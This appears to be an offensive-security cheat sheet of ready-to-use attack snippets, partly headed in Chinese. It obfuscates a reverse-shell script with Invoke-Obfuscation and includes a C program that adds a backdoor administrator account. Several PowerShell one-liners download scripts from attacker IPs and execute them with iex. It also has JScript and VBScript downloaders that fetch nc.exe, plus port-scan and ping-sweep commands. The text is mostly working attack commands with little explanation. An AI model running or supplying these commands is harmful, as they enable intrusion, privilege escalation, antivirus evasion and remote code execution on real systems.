1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 git clone https://github.com/danielbohannon/Invoke-Obfuscation cd Invoke-Obfuscation pwshImport-Module ./Invoke-Obfuscation .psd1cd /tmpInvoke-Obfuscation SET SCRIPTPATH /tmp/revshell.ps1 ENCODING5 OUT /tmp/enc.ps1SET SCRIPTPATH /tmp/revshell.ps1 AST ALL1 OUT /tmp/enc.ps1
03.脚本
1 2 3 4 5 6 7 8 9 10 11 int main () { int user; user = system ("net user h4rithd Password! /add" ); user = system ("net localgroup administrators h4rithd /add" ); return 0 ; }
1 2 3 4 5 $h =New-Object -ComObject Msxml2.XMLHTTP;$h .open('GET' ,'http://10.10.14.2/GetServiceACL.ps1' ,$false );$h .send();iex $h .responseText"nscp" | Get-ServiceAcl | select -ExpandProperty Access
1 2 3 4 wget https://raw.githubusercontent.com/dwj7738/My-Powershell-Repository /master/Scripts/Invoke-TSPingSweep .ps1IEX (New-Object Net.WebClient).downloadString('http://10.8.0.74/Invoke-TSPingSweep.ps1' )Invoke-TSPingSweep -StartAddress 192.168 .0.1 -EndAddress 192.168 .0.254 -ResolveHost -ScanPort
1 2 3 4 5 Invoke-Portscan -Hosts 172.16 .249.1 /24 -Ports 22 -Threads 30 | Where { $_ .Alive -eq "True" } Invoke-Portscan -Hosts 172.16 .249.202 -Ports '21,22,80,443,8080'
1 2 3 4 5 6 7 8 Import-Module .\Invoke-AESEncryption .ps1Invoke-AESEncryption .ps1 -Mode Encrypt -Key "h4rithd" -Path .\PlanText.txtInvoke-AESEncryption -Mode Decrypt -Key "h4rithd" -Path .\ciphertext.txt.aes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1" ); WinHttpReq.Open("GET" , WScript.Arguments(0 ), /*async=*/false); WinHttpReq.Send(); BinStream = new ActiveXObject("ADODB.Stream" ); BinStream.Type = 1 ; BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody); BinStream.SaveToFile(WScript.Arguments(1 )); cscript /nologo wget.js http://10.10 .14.25 /nc.exe nc.exe dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP" ) dim bStrm: Set bStrm = createobject("Adodb.Stream" ) xHttp.Open "GET" , WScript.Arguments.Item(0 ), False xHttp.Send with bStrm .type = 1 .open .write xHttp.responseBody .savetofile WScript.Arguments.Item(1 ), 2 end with cscript /nologo wget.vbs http://10.10 .14.25 /nc.exe nc.exe